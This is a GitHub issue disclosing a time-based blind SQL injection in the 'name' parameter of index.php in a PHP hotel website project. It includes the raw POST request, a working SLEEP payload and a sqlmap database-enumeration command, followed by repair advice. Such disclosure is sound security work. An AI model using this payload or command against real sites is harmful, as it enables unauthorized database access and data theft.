Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

code-projects Responsive Hotel Site Using PHP With Source Code v1.0 index.php SQL injection #8

Open
t4rrega opened this issue Aug 26, 2024 · 0 comments

Comments

@t4rrega
Copy link
Owner

t4rrega commented Aug 26, 2024

code-projects Responsive Hotel Site Using PHP With Source Code v1.0 index.php SQL injection

NAME OF AFFECTED PRODUCT(S)

  • Responsive Hotel Site Using PHP With Source Code

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • t4rrega

Vulnerable File

  • index.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the 'index.php' file of the 'Responsive Hotel Site Using PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "name " and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
1

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • Due to insufficient user input verification for the "name " parameter, a serious SQL injection vulnerability has been discovered in the "Responsive Hotel Site Using PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login verification required

Vulnerability details and POC

POST /index.php HTTP/1.1
Host: 192.168.0.102:1216
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://192.168.0.102:1216
Connection: close
Referer: http://192.168.0.102:1216/index.php
Cookie: PHPSESSID=ng2789oib9vsb0mictkp8o643v; style=purple
Upgrade-Insecure-Requests: 1
Priority: u=0, i

name=123&phone=123123&email=luomoan1213%40gmail.com&sub=Send+Now

Vulnerability type:

  • time-based blind

Vulnerability location:

  • 'name ' parameter

Payload:

Parameter: name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=123' AND (SELECT 3672 FROM (SELECT(SLEEP(5)))uAMt) AND 'qFZc'='qFZc&phone=123123&email=luomoan1213@gmail.com&sub=Send Now

2

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

sqlmap -r 123 --batch --dbs
3

Suggested repair

  1. Use prepared statements and parameter binding:
    Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering:
    Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions:
    Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits:
    Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants
@t4rrega and others